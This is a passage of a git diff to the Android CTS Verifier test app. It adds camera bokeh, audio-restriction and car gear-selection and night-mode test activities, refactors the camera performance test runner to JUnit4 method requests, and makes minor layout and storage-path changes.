+ int yval = row[i] & 0xFF;
+ int uval = uRow[i/2 * uPStride] & 0xFF;
+ int vval = vRow[i/2 * vPStride] & 0xFF;
+ // Write YUV directly; the ImageView color filter will convert to RGB for us.
+ imgArray[j] = Color.rgb(yval, uval, vval);
+ i++;
+ j++;
+ }
+ }
+ img.close();
+ imgBitmap = Bitmap.createBitmap(imgArray, w, h, Bitmap.Config.ARGB_8888);
+ } else if (format == ImageFormat.JPEG) {
+ ByteBuffer jpegBuffer = img.getPlanes()[0].getBuffer();
+ jpegBuffer.rewind();
+ byte[] jpegData = new byte[jpegBuffer.limit()];
+ jpegBuffer.get(jpegData);
+ imgBitmap = BitmapFactory.decodeByteArray(jpegData, 0, jpegData.length);
+ img.close();
+ } else {
+ Log.i(TAG, "Unsupported image format: " + format);
+ }
+ if (imgBitmap != null) {
+ final Bitmap bitmap = imgBitmap;
+ runOnUiThread(new Runnable() {
+ @Override
+ public void run() {
+ if (format == ImageFormat.YUV_420_888 && (mCurrentColorFilter == null ||
+ !mCurrentColorFilter.equals(sJFIF_YUVToRGB_Filter))) {
+ mCurrentColorFilter = sJFIF_YUVToRGB_Filter;
+ mImageView.setColorFilter(mCurrentColorFilter);
+ } else if (format == ImageFormat.JPEG && mCurrentColorFilter != null &&
+ mCurrentColorFilter.equals(sJFIF_YUVToRGB_Filter)) {
+ mCurrentColorFilter = null;
+ mImageView.clearColorFilter();
+ }
+ mImageView.setImageBitmap(bitmap);
+ }
+ });
+ }
+ } catch (java.lang.IllegalStateException e) {
+ // Swallow exceptions
+ e.printStackTrace();
+ } finally {
+ if (img != null) {
+ img.close();
+ }
+ }
+ }
+
+ private AdapterView.OnItemSelectedListener mCameraSpinnerListener =
+ new AdapterView.OnItemSelectedListener() {
+ public void onItemSelected(AdapterView<?> parent,
+ View view, int pos, long id) {
+ if (mCurrentCameraIndex != pos) {
+ setUpCamera(pos);
+ }
+ }
+
+ public void onNothingSelected(AdapterView parent) {
+ }
+ };
+
+ private class SizeComparator implements Comparator<Size> {
+ @Override
+ public int compare(Size lhs, Size rhs) {
+ long lha = lhs.getWidth() * lhs.getHeight();
+ long rha = rhs.getWidth() * rhs.getHeight();
+ if (lha == rha) {
+ lha = lhs.getWidth();
+ rha = rhs.getWidth();
+ }
+ return (lha < rha) ? -1 : (lha > rha ? 1 : 0);
+ }
+ }
+
+ private void setUpCamera(int index) {
+ shutdownCamera();
+
+ mCurrentCameraIndex = index;
+ mCameraId = mCameraIdList[index];
+ try {
+ mCameraCharacteristics = mCameraManager.getCameraCharacteristics(mCameraId);
+ mCameraDevice = mBlockingCameraManager.openCamera(mCameraId,
+ mCameraListener, mCameraHandler);
+ } catch (CameraAccessException e) {
+ e.printStackTrace();
+ } catch (BlockingOpenException e) {
+ e.printStackTrace();
+ }
+
+ // Update untested cameras
+ mUntestedCameras.remove("All combinations for Camera " + mCameraId);
+
+ StreamConfigurationMap config =
+ mCameraCharacteristics.get(CameraCharacteristics.SCALER_STREAM_CONFIGURATION_MAP);
+ Size[] jpegSizes = config.getOutputSizes(ImageFormat.JPEG);
+ Arrays.sort(jpegSizes, mSizeComparator);
+ mJpegSize = jpegSizes[jpegSizes.length-1];
+
+ Size[] yuvSizes = config.getOutputSizes(ImageFormat.YUV_420_888);
+ Arrays.sort(yuvSizes, mSizeComparator);
+ Size maxYuvSize = yuvSizes[yuvSizes.length-1];
+ if (mSizeComparator.compare(maxYuvSize, FULLHD) > 1) {
+ maxYuvSize = FULLHD;
+ }
+
+ // Update untested entries
+ ArrayList<Capability> currentTestCase = mTestCases.get(mCameraId);
+ for (Capability bokehCap : currentTestCase) {
+ Size maxStreamingSize = bokehCap.getMaxStreamingSize();
+ Size previewSize;
+ if ((maxStreamingSize.getWidth() == 0 && maxStreamingSize.getHeight() == 0) ||
+ (mSizeComparator.compare(maxStreamingSize, maxYuvSize) > 0)) {
+ previewSize = maxYuvSize;
+ } else {
+ previewSize = maxStreamingSize;
+ }
+
+ CameraCombination combination = new CameraCombination(
+ index, bokehCap.getMode(), previewSize.getWidth(),
+ previewSize.getHeight(), mCameraId,
+ mModeNames.get(bokehCap.getMode()),
+ /*isStillCapture*/false);
+
+ if (!mTestedCombinations.contains(combination)) {
+ mUntestedCombinations.add(combination);
+ }
+
+ // For BOKEH_MODE_STILL_CAPTURE, add 2 combinations: one streaming, one still capture.
+ if (bokehCap.getMode() == CaptureRequest.CONTROL_BOKEH_MODE_STILL_CAPTURE) {
+ CameraCombination combination2 = new CameraCombination(
+ index, bokehCap.getMode(), previewSize.getWidth(),
+ previewSize.getHeight(), mCameraId,
+ mModeNames.get(bokehCap.getMode()),
+ /*isStillCapture*/true);
+
+ if (!mTestedCombinations.contains(combination2)) {
+ mUntestedCombinations.add(combination2);
+ }
+ }
+ }
+
+ mJpegImageReader = ImageReader.newInstance(
+ mJpegSize.getWidth(), mJpegSize.getHeight(), ImageFormat.JPEG, 1);
+ mJpegImageReader.setOnImageAvailableListener(this, mCameraHandler);
+
+ setUntestedCombination();
+
+ if (mPreviewTexture != null) {
+ startPreview();
+ }
+ }
+
+ private void shutdownCamera() {
+ if (null != mCaptureSession) {
+ mCaptureSession.close();
+ mCaptureSession = null;
+ }
+ if (null != mCameraDevice) {
+ mCameraDevice.close();
+ mCameraDevice = null;
+ }
+ if (null != mJpegImageReader) {
+ mJpegImageReader.close();
+ mJpegImageReader = null;
+ }
+ if (null != mYuvImageReader) {
+ mYuvImageReader.close();
+ mYuvImageReader = null;
+ }
+ }
+
+ private void configurePreviewTextureTransform() {
+ int rotation = getWindowManager().getDefaultDisplay().getRotation();
+ Configuration config = getResources().getConfiguration();
+ int degrees = 0;
+ switch (rotation) {
+ case Surface.ROTATION_0: degrees = 0; break;
+ case Surface.ROTATION_90: degrees = 90; break;
+ case Surface.ROTATION_180: degrees = 180; break;
+ case Surface.ROTATION_270: degrees = 270; break;
+ }
+ Matrix matrix = mPreviewView.getTransform(null);
+ int deviceOrientation = Configuration.ORIENTATION_PORTRAIT;
+ if ((degrees % 180 == 0 && config.orientation == Configuration.ORIENTATION_LANDSCAPE) ||
+ (degrees % 180 == 90 && config.orientation == Configuration.ORIENTATION_PORTRAIT)) {
+ deviceOrientation = Configuration.ORIENTATION_LANDSCAPE;
+ }
+ int effectiveWidth = mPreviewSize.getWidth();
+ int effectiveHeight = mPreviewSize.getHeight();
+ if (deviceOrientation == Configuration.ORIENTATION_PORTRAIT) {
+ int temp = effectiveWidth;
+ effectiveWidth = effectiveHeight;
+ effectiveHeight = temp;
+ }
+
+ RectF viewRect = new RectF(0, 0, mPreviewTexWidth, mPreviewTexHeight);
+ RectF bufferRect = new RectF(0, 0, effectiveWidth, effectiveHeight);
+ float centerX = viewRect.centerX();
+ float centerY = viewRect.centerY();
+ bufferRect.offset(centerX - bufferRect.centerX(),
+ centerY - bufferRect.centerY());
+
+ matrix.setRectToRect(viewRect, bufferRect, Matrix.ScaleToFit.FILL);
+
+ matrix.postRotate((360 - degrees) % 360, centerX, centerY);
+ if ((degrees % 180) == 90) {
+ int temp = effectiveWidth;
+ effectiveWidth = effectiveHeight;
+ effectiveHeight = temp;
+ }
+ // Scale to fit view, avoiding any crop
+ float scale = Math.min(mPreviewTexWidth / (float) effectiveWidth,
+ mPreviewTexHeight / (float) effectiveHeight);
+ matrix.postScale(scale, scale, centerX, centerY);
+
+ mPreviewView.setTransform(matrix);
+ }
+ /**
+ * Starts a background thread and its {@link Handler}.
+ */
+ private void startBackgroundThread() {
+ mCameraThread = new HandlerThread("CameraBokehBackground");
+ mCameraThread.start();
+ mCameraHandler = new Handler(mCameraThread.getLooper());
+ }
+
+ /**
+ * Stops the background thread and its {@link Handler}.
+ */
+ private void stopBackgroundThread() {
+ mCameraThread.quitSafely();
+ try {
+ mCameraThread.join();
+ mCameraThread = null;
+ mCameraHandler = null;
+ } catch (InterruptedException e) {
+ e.printStackTrace();
+ }
+ }
+
+ private void startPreview() {
+ try {
+ if (mPreviewSize == null || mPreviewSize.equals(mNextCombination.mPreviewSize)) {
+ mPreviewSize = mNextCombination.mPreviewSize;
+
+ mYuvImageReader = ImageReader.newInstance(mPreviewSize.getWidth(),
+ mPreviewSize.getHeight(), ImageFormat.YUV_420_888, 1);
+ mYuvImageReader.setOnImageAvailableListener(this, mCameraHandler);
+ };
+
+ mPreviewTexture.setDefaultBufferSize(mPreviewSize.getWidth(), mPreviewSize.getHeight());
+ mPreviewRequestBuilder =
+ mCameraDevice.createCaptureRequest(CameraDevice.TEMPLATE_PREVIEW);
+ mPreviewRequestBuilder.addTarget(mPreviewSurface);
+ mPreviewRequestBuilder.addTarget(mYuvImageReader.getSurface());
+
+ mStillCaptureRequestBuilder =
+ mCameraDevice.createCaptureRequest(CameraDevice.TEMPLATE_STILL_CAPTURE);
+ mStillCaptureRequestBuilder.addTarget(mPreviewSurface);
+ mStillCaptureRequestBuilder.addTarget(mJpegImageReader.getSurface());
+
+ mSessionListener = new BlockingSessionCallback();
+ List<Surface> outputSurfaces = new ArrayList<Surface>(/*capacity*/3);
+ outputSurfaces.add(mPreviewSurface);
+ outputSurfaces.add(mYuvImageReader.getSurface());
+ outputSurfaces.add(mJpegImageReader.getSurface());
+ mCameraDevice.createCaptureSession(outputSurfaces, mSessionListener, mCameraHandler);
+ mCaptureSession = mSessionListener.waitAndGetSession(/*timeoutMs*/3000);
+
+ configurePreviewTextureTransform();
+
+ /* Set bokeh mode and start streaming */
+ int bokehMode = mNextCombination.mMode;
+ mPreviewRequestBuilder.set(CaptureRequest.CONTROL_BOKEH_MODE, bokehMode);
+ mStillCaptureRequestBuilder.set(CaptureRequest.CONTROL_BOKEH_MODE, bokehMode);
+ mPreviewRequest = mPreviewRequestBuilder.build();
+ mStillCaptureRequest = mStillCaptureRequestBuilder.build();
+
+ mCaptureSession.setRepeatingRequest(mPreviewRequest, mCaptureCallback, mCameraHandler);
+ } catch (CameraAccessException e) {
+ e.printStackTrace();
+ }
+ }
+
+ private void takePicture() {
+ try {
+ mCaptureSession.stopRepeating();
+ mSessionListener.getStateWaiter().waitForState(
+ BlockingSessionCallback.SESSION_READY, SESSION_READY_TIMEOUT_MS);
+
+ mCaptureSession.capture(mStillCaptureRequest, mCaptureCallback, mCameraHandler);
+ } catch (CameraAccessException e) {
+ e.printStackTrace();
+ }
+ }
+
+ private void setPassButtonEnabled(boolean enabled) {
+ ImageButton pass_button = (ImageButton) findViewById(R.id.pass_button);
+ pass_button.setEnabled(enabled);
+ }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/camera/formats/CameraFormatsActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/camera/formats/CameraFormatsActivity.java
index 07c598f..7fead16 100755
--- a/apps/CtsVerifier/src/com/android/cts/verifier/camera/formats/CameraFormatsActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/camera/formats/CameraFormatsActivity.java
@@ -166,7 +166,7 @@
mCameraSpinner = (Spinner) findViewById(R.id.cameras_selection);
mCameraSpinner.setAdapter(
new ArrayAdapter<String>(
- this, R.layout.cf_format_list_item, cameraNames));
+ this, R.layout.camera_list_item, cameraNames));
mCameraSpinner.setOnItemSelectedListener(mCameraSpinnerListener);
mFormatSpinner = (Spinner) findViewById(R.id.format_selection);
@@ -407,7 +407,7 @@
}
mResolutionSpinner.setAdapter(
new ArrayAdapter<String>(
- this, R.layout.cf_format_list_item, availableSizeNames));
+ this, R.layout.camera_list_item, availableSizeNames));
// Get preview formats, removing duplicates
@@ -421,7 +421,7 @@
}
mFormatSpinner.setAdapter(
new ArrayAdapter<String>(
- this, R.layout.cf_format_list_item, availableFormatNames));
+ this, R.layout.camera_list_item, availableFormatNames));
// Update untested entries
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsService.java b/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsService.java
index 7745898..f39b590 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsService.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsService.java
@@ -42,6 +42,7 @@
import android.hardware.SensorEvent;
import android.hardware.SensorEventListener;
import android.hardware.SensorManager;
+import android.media.AudioAttributes;
import android.media.Image;
import android.media.ImageReader;
import android.media.ImageWriter;
@@ -147,6 +148,7 @@
public static final String TRIGGER_AF_KEY = "af";
public static final String VIB_PATTERN_KEY = "pattern";
public static final String EVCOMP_KEY = "evComp";
+ public static final String AUDIO_RESTRICTION_MODE_KEY = "mode";
private CameraManager mCameraManager = null;
private HandlerThread mCameraThread = null;
@@ -264,7 +266,7 @@
mSensorThread.start();
mSensorHandler = new Handler(mSensorThread.getLooper());
mSensorManager.registerListener(this, mAccelSensor,
- SensorManager.SENSOR_DELAY_NORMAL, mSensorHandler);
+ /*100hz*/ 10000, mSensorHandler);
mSensorManager.registerListener(this, mMagSensor,
SensorManager.SENSOR_DELAY_NORMAL, mSensorHandler);
mSensorManager.registerListener(this, mGyroSensor,
@@ -687,6 +689,8 @@
doCapture(cmdObj);
} else if ("doVibrate".equals(cmdObj.getString("cmdName"))) {
doVibrate(cmdObj);
+ } else if ("setAudioRestriction".equals(cmdObj.getString("cmdName"))) {
+ doSetAudioRestriction(cmdObj);
} else if ("getCameraIds".equals(cmdObj.getString("cmdName"))) {
doGetCameraIds();
} else if ("doReprocessCapture".equals(cmdObj.getString("cmdName"))) {
@@ -907,6 +911,7 @@
obj.put("accel", mAccelSensor != null);
obj.put("mag", mMagSensor != null);
obj.put("gyro", mGyroSensor != null);
+ obj.put("vibrator", mVibrator.hasVibrator());
mSocketRunnableObj.sendResponse("sensorExistence", null, obj, null);
} catch (org.json.JSONException e) {
throw new ItsException("JSON error: ", e);
@@ -1305,13 +1310,35 @@
pattern[i] = patternArray.getLong(i);
}
Logt.i(TAG, String.format("Starting vibrator, pattern length %d",len));
- mVibrator.vibrate(pattern, -1);
+
+ // Mark the vibrator as alarm to test the audio restriction API
+ // TODO: consider making this configurable
+ AudioAttributes audioAttributes = new AudioAttributes.Builder()
+ .setUsage(AudioAttributes.USAGE_ALARM).build();
+ mVibrator.vibrate(pattern, -1, audioAttributes);
mSocketRunnableObj.sendResponse("vibrationStarted", "");
} catch (org.json.JSONException e) {
throw new ItsException("JSON error: ", e);
}
}
+ private void doSetAudioRestriction(JSONObject params) throws ItsException {
+ try {
+ if (mCamera == null) {
+ throw new ItsException("Camera is closed");
+ }
+ int mode = params.getInt(AUDIO_RESTRICTION_MODE_KEY);
+ mCamera.setCameraAudioRestriction(mode);
+ Logt.i(TAG, String.format("Set audio restriction mode to %d", mode));
+
+ mSocketRunnableObj.sendResponse("audioRestrictionSet", "");
+ } catch (org.json.JSONException e) {
+ throw new ItsException("JSON error: ", e);
+ } catch (android.hardware.camera2.CameraAccessException e) {
+ throw new ItsException("Access error: ", e);
+ }
+ }
+
/**
* Parse jsonOutputSpecs to get output surface sizes and formats. Create input and output
* image readers for the parsed output surface sizes, output formats, and the given input
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsTestActivity.java
index 7d2f25d..1a59cb1 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsTestActivity.java
@@ -84,8 +84,11 @@
// Scenes
private static final ArrayList<String> mSceneIds = new ArrayList<String> () { {
add("scene0");
- add("scene1");
- add("scene2");
+ add("scene1_1");
+ add("scene1_2");
+ add("scene2_a");
+ add("scene2_b");
+ add("scene2_c");
add("scene3");
add("scene4");
add("scene5");
@@ -95,8 +98,9 @@
private static final ArrayList<String> mHiddenPhysicalCameraSceneIds =
new ArrayList<String> () { {
add("scene0");
- add("scene1");
- add("scene2");
+ add("scene1_1");
+ add("scene1_2");
+ add("scene2_a");
add("scene4");
add("sensor_fusion");
}};
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/camera/performance/CameraPerformanceActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/camera/performance/CameraPerformanceActivity.java
index 5510521..41b8569 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/camera/performance/CameraPerformanceActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/camera/performance/CameraPerformanceActivity.java
@@ -21,8 +21,6 @@
import android.app.ProgressDialog;
import android.content.Context;
import android.hardware.camera2.cts.PerformanceTest;
-import android.hardware.camera2.cts.testcases.Camera2AndroidTestCase;
-import android.hardware.cts.CameraTestCase;
import android.hardware.cts.LegacyCameraPerformanceTest;
import android.os.Bundle;
import android.util.Log;
@@ -35,12 +33,9 @@
import com.android.cts.verifier.R;
import com.android.cts.verifier.TestResult;
-import junit.framework.Test;
-import junit.framework.TestCase;
-import junit.framework.TestSuite;
-
import org.junit.runner.Description;
import org.junit.runner.JUnitCore;
+import org.junit.runner.Request;
import org.junit.runner.Result;
import org.junit.runner.notification.Failure;
import org.junit.runner.notification.RunListener;
@@ -48,7 +43,6 @@
import java.lang.annotation.Annotation;
import java.lang.reflect.Method;
import java.util.ArrayList;
-import java.util.Enumeration;
import java.util.HashMap;
import java.util.Set;
import java.util.concurrent.ExecutorService;
@@ -67,7 +61,7 @@
private CameraTestInstrumentation mCameraInstrumentation = new CameraTestInstrumentation();
private Instrumentation mCachedInstrumentation;
private Bundle mCachedInstrumentationArgs;
- private HashMap<String, TestCase> mTestCaseMap = new HashMap<String, TestCase>();
+ private HashMap<String, Class> mTestCaseMap = new HashMap<String, Class>();
private ProgressDialog mSpinnerDialog;
private AlertDialog mResultDialog;
private ArrayList<Metric> mResults = new ArrayList<Metric>();
@@ -77,10 +71,12 @@
R.string.camera_performance_test_info, R.string.camera_performance_test_info);
}
- private void executeTest(TestCase testCase) {
+ private void executeTest(Class testClass, String testName) {
JUnitCore testRunner = new JUnitCore();
+ Log.v(TAG, String.format("Execute Test: %s#%s", testClass.getSimpleName(), testName));
+ Request request = Request.method(testClass, testName);
testRunner.addListener(new CameraRunListener());
- testRunner.run(testCase);
+ testRunner.run(request);
}
private class MetricListener implements CameraTestInstrumentation.MetricListener {
@@ -124,8 +120,8 @@
StringBuilder message = new StringBuilder();
for (Metric m : mResults) {
message.append(String.format("%s : %5.2f %s\n",
- m.getMessage().replaceAll("_", " "), m.getValues()[0],
- m.getUnit()));
+ m.getMessage().replaceAll("_", " "), m.getValues()[0],
+ m.getUnit()));
}
mResultDialog.setMessage(message);
mResultDialog.show();
@@ -193,42 +189,15 @@
}
private void initializeTestCases(Context ctx) {
- TestSuite suite = new TestSuite(TEST_CLASSES);
- Enumeration<Test> testSuite = suite.tests();
- while (testSuite.hasMoreElements()) {
- Test s = testSuite.nextElement();
- if (s instanceof TestSuite) {
- Enumeration<Test> tests = ((TestSuite) s).tests();
- while (tests.hasMoreElements()) {
- Test test = tests.nextElement();
- if (test instanceof Camera2AndroidTestCase) {
- Camera2AndroidTestCase testCase = (Camera2AndroidTestCase) test;
-
- // The base case class has one internal test that can
- // be ignored for the purpose of this test activity.
- try {
- Method method = testCase.getClass().getMethod(testCase.getName());
- Annotation an = method.getAnnotation(
- android.test.suitebuilder.annotation.Suppress.class);
- if (an != null) {
- continue;
- }
- } catch (Exception e) {
- e.printStackTrace();
- continue;
- }
-
- testCase.setContext(ctx);
- mTestCaseMap.put(testCase.getName(), testCase);
- } else if (test instanceof CameraTestCase) {
- TestCase testCase = (CameraTestCase) test;
- mTestCaseMap.put(testCase.getName(), testCase);
- } else {
- Log.d(TAG, "Test is not instance of any known camera test cases");
- }
+ for (Class testClass : TEST_CLASSES) {
+ Log.v(TAG, String.format("Test class: %s", testClass.getSimpleName()));
+ for (Method method : testClass.getMethods()) {
+ Annotation an = method.getAnnotation((Class) org.junit.Test.class);
+ Log.v(TAG, String.format("Test method: %s; Annotation: %s", method.getName(), an));
+ if (an == null) {
+ continue;
}
- } else {
- Log.d(TAG, "Test is not instance of TestSuite");
+ mTestCaseMap.put(method.getName(), testClass);
}
}
}
@@ -264,8 +233,8 @@
@Override
public void performTest(DialogTestListActivity activity) {
- TestCase testCase = mTestCaseMap.get(mTestId);
- if (testCase == null) {
+ Class testClass = mTestCaseMap.get(mTestId);
+ if (testClass == null) {
Log.e(TAG, "Test case with name: " + mTestId + " not found!");
return;
}
@@ -273,7 +242,7 @@
mExecutorService.execute(new Runnable() {
@Override
public void run() {
- executeTest(testCase);
+ executeTest(testClass, mTestId);
}
});
}
@@ -318,4 +287,4 @@
}
mCameraInstrumentation.release();
}
-}
+}
\ No newline at end of file
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/camera/video/CameraVideoActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/camera/video/CameraVideoActivity.java
index 3904f09..30df08b 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/camera/video/CameraVideoActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/camera/video/CameraVideoActivity.java
@@ -138,16 +138,12 @@
* @see #MEDIA_TYPE_IMAGE
* @see #MEDIA_TYPE_VIDEO
*/
- private static File getOutputMediaFile(int type) {
- // Question: why do I need to comment this to get it working?
- // Logcat says "external storage not ready"
- // if (Environment.getExternalStorageState() != Environment.MEDIA_MOUNTED) {
- // Log.e(TAG, "external storage not ready");
- // return null;
- // }
-
- File mediaStorageDir = new File(Environment.getExternalStoragePublicDirectory(
- Environment.DIRECTORY_MOVIES), TAG);
+ private File getOutputMediaFile(int type) {
+ File mediaStorageDir = new File(getExternalFilesDir(null), TAG);
+ if (mediaStorageDir == null) {
+ Log.e(TAG, "failed to retrieve external files directory");
+ return null;
+ }
if (!mediaStorageDir.exists()) {
if (!mediaStorageDir.mkdirs()) {
@@ -306,7 +302,7 @@
mCameraSpinner = (Spinner) findViewById(R.id.cameras_selection);
mCameraSpinner.setAdapter(
new ArrayAdapter<String>(
- this, R.layout.cf_format_list_item, cameraNames));
+ this, R.layout.camera_list_item, cameraNames));
mCameraSpinner.setOnItemSelectedListener(mCameraSpinnerListener);
mResolutionSpinner = (Spinner) findViewById(R.id.resolution_selection);
@@ -820,7 +816,7 @@
mResolutionSpinner.setAdapter(
new ArrayAdapter<String>(
- this, R.layout.cf_format_list_item, availableVideoSizeNames));
+ this, R.layout.camera_list_item, availableVideoSizeNames));
// Update untested
mUntestedCameras.remove("All combinations for Camera " + id + "\n");
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/car/GearSelectionTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/car/GearSelectionTestActivity.java
new file mode 100644
index 0000000..89197d7
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/car/GearSelectionTestActivity.java
@@ -0,0 +1,121 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.car;
+
+import android.car.Car;
+import android.car.VehicleGear;
+import android.car.hardware.CarPropertyConfig;
+import android.car.hardware.CarPropertyValue;
+import android.car.hardware.property.CarPropertyManager;
+import android.car.VehicleAreaType;
+import android.car.VehiclePropertyIds;
+import android.os.Bundle;
+import android.widget.TextView;
+import android.util.ArraySet;
+import android.util.Log;
+
+import com.android.cts.verifier.PassFailButtons;
+import com.android.cts.verifier.R;
+
+import java.util.Arrays;
+import java.util.List;
+
+/** A CTS Verifier test case to verify GEAR_SELECTION is implemented correctly.*/
+public class GearSelectionTestActivity extends PassFailButtons.Activity {
+ private static final String TAG = GearSelectionTestActivity.class.getSimpleName();
+ private List<Integer> mSupportedGears;
+ private int mGearsAchievedCount = 0;
+ private TextView mExpectedGearSelectionTextView;
+ private TextView mCurrentGearSelectionTextView;
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+
+ // Setup the UI.
+ setContentView(R.layout.gear_selection_test);
+ setPassFailButtonClickListeners();
+ setInfoResources(R.string.gear_selection_test, R.string.gear_selection_test_desc, -1);
+ getPassButton().setEnabled(false);
+
+ mExpectedGearSelectionTextView = (TextView) findViewById(R.id.expected_gear_selection);
+ mCurrentGearSelectionTextView = (TextView) findViewById(R.id.current_gear_selection);
+
+ CarPropertyManager carPropertyManager =
+ (CarPropertyManager) Car.createCar(this).getCarManager(Car.PROPERTY_SERVICE);
+
+ // TODO(b/138961351): Verify test works on manual transmission.
+ mSupportedGears = carPropertyManager.getPropertyList(new ArraySet<>(Arrays.asList(new
+ Integer[]{VehiclePropertyIds.GEAR_SELECTION}))).get(0).getConfigArray();
+
+ if(mSupportedGears.size() != 0){
+ Log.i(TAG, "New Expected Gear: " + VehicleGear.toString(mSupportedGears.get(0)));
+ mExpectedGearSelectionTextView.setText(VehicleGear.toString(mSupportedGears.get(0)));
+ } else {
+ Log.e(TAG, "No gears specified in the config array of GEAR_SELECTION property");
+ mExpectedGearSelectionTextView.setText("ERROR");
+ }
+
+ if(!carPropertyManager.registerCallback(mCarPropertyEventCallback,
+ VehiclePropertyIds.GEAR_SELECTION, CarPropertyManager.SENSOR_RATE_ONCHANGE)) {
+ Log.e(TAG, "Failed to register callback for GEAR_SELECTION with CarPropertyManager");
+ }
+ }
+
+ private final CarPropertyManager.CarPropertyEventCallback mCarPropertyEventCallback =
+ new CarPropertyManager.CarPropertyEventCallback() {
+ @Override
+ public void onChangeEvent(CarPropertyValue value) {
+ if(value.getStatus() != CarPropertyValue.STATUS_AVAILABLE) {
+ Log.e(TAG, "New CarPropertyValue's status is not available - propId: " +
+ value.getPropertyId() + " status: " + value.getStatus());
+ return;
+ }
+ Integer newGearSelection = (Integer) value.getValue();
+ mCurrentGearSelectionTextView.setText(VehicleGear.toString(newGearSelection));
+ Log.i(TAG, "New Gear Selection: " + VehicleGear.toString(newGearSelection));
+
+ if (mSupportedGears.size() == 0) {
+ Log.e(TAG, "No gears specified in the config array of GEAR_SELECTION property");
+ return;
+ }
+
+ // Check to see if new gear matches the expected gear.
+ if(newGearSelection == mSupportedGears.get(mGearsAchievedCount)) {
+ mGearsAchievedCount++;
+ Log.i(TAG, "Matched gear: " + VehicleGear.toString(newGearSelection));
+ // Check to see if the test is finished.
+ if (mGearsAchievedCount >= mSupportedGears.size()) {
+ mExpectedGearSelectionTextView.setText("Finished");
+ getPassButton().setEnabled(true);
+ Log.i(TAG, "Finished Test");
+ } else {
+ // Test is not finished so update the expected gear.
+ mExpectedGearSelectionTextView.setText(
+ VehicleGear.toString(mSupportedGears.get(mGearsAchievedCount)));
+ Log.i(TAG, "New Expected Gear: " +
+ VehicleGear.toString(mSupportedGears.get(mGearsAchievedCount)));
+ }
+ }
+ }
+
+ @Override
+ public void onErrorEvent(int propId, int zone) {
+ Log.e(TAG, "propId: " + propId + " zone: " + zone);
+ }
+ };
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/car/NightModeTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/car/NightModeTestActivity.java
new file mode 100644
index 0000000..786dc57
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/car/NightModeTestActivity.java
@@ -0,0 +1,130 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.car;
+
+import android.car.Car;
+import android.car.hardware.CarPropertyConfig;
+import android.car.hardware.CarPropertyValue;
+import android.car.hardware.property.CarPropertyManager;
+import android.car.VehicleAreaType;
+import android.car.VehiclePropertyIds;
+import android.os.Bundle;
+import android.widget.TextView;
+import android.util.ArraySet;
+import android.util.Log;
+
+import com.android.cts.verifier.PassFailButtons;
+import com.android.cts.verifier.R;
+
+import java.util.Arrays;
+import java.util.List;
+
+/** A CTS Verifier test case to verify NIGHT_MODE is implemented correctly.*/
+public class NightModeTestActivity extends PassFailButtons.Activity {
+ private static final String TAG = NightModeTestActivity.class.getSimpleName();
+ private static final int TOTAL_MATCHES_NEEDED_TO_FINISH = 2;
+ private static final String TOTAL_TIMES_NEW_VALUE_MATCHED_INSTRUCTION =
+ "TotalTimesNewValueMatchedInstruction";
+ private static final String CURRENT_NIGHT_MODE_VALUE = "CurrentNightModeValue";
+ private Boolean mCurrentNightModeValue;
+ private TextView mInstructionTextView;
+ private TextView mCurrentNightModeValueTextView;
+ private int mTotalTimesNewValueMatchedInstruction = 0;
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+
+ // Setup the UI.
+ setContentView(R.layout.night_mode_test);
+ setPassFailButtonClickListeners();
+ setInfoResources(R.string.night_mode_test, R.string.night_mode_test_desc, -1);
+ getPassButton().setEnabled(false);
+
+ mInstructionTextView = (TextView) findViewById(R.id.night_mode_instruction);
+ mInstructionTextView.setText("Waiting to get first NIGHT_MODE callback from Vehicle HAL");
+ mCurrentNightModeValueTextView = (TextView) findViewById(R.id.current_night_mode_value);
+
+
+ CarPropertyManager carPropertyManager =
